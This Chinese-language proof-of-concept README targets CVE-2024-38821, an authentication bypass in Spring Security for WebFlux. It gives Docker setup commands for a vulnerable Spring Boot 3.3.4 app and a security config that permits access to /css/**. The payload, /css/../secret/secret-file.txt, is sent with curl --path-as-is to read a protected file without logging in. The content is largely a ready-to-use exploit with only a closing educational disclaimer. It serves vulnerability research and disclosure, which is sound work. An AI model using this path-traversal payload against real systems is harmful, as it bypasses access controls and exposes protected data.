这是针对 CVE-2024-38821 漏洞的概念验证
构建 Docker 镜像(基于 Spring Framework 6.1.13 的 Spring Boot 3.3.4)
cd vuln
docker build -t cve-2024-38821-poc .
运行容器并将主机的端口 8080 暴露给容器
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
运行以下命令执行 PoC 并确认漏洞
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # 预期:302 响应(需要登录)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # 预期:200 响应(已绕过认证)
如果攻击成功,响应将显示:This is a secret file.
创建 SecurityConfig.java 以配置访问权限:
/css/ 下的路径进行未经认证的访问。/secret/ 下的路径进行认证。public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // 静态资源和首页不需要认证
.pathMatchers("/secret/**").authenticated() // 需要认证的“secret”路径
.anyExchange().authenticated() // 所有其他路径都需要认证
)
.formLogin().and() // 启用基于表单的认证
.build();
}
创建以下 Payload。由于 Payload 以 /css/ 开头,它匹配了允许访问的路径模式。它不以 /secret/ 开头,因此不匹配需要认证的路径模式:
/css/../secret/secret-file.txt使用以下 curl 命令执行 PoC 并验证攻击是否成功:
# 注意:需要使用 --path-as-is 选项以发送未经 URL 规范化的请求。
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
如果攻击成功,响应将显示:This is a secret file.
此 PoC 仅供教育和安全研究目的使用。在实际系统中使用之前,请确保漏洞已被修复并且您拥有适当的授权。作者对此代码的任何滥用概不负责。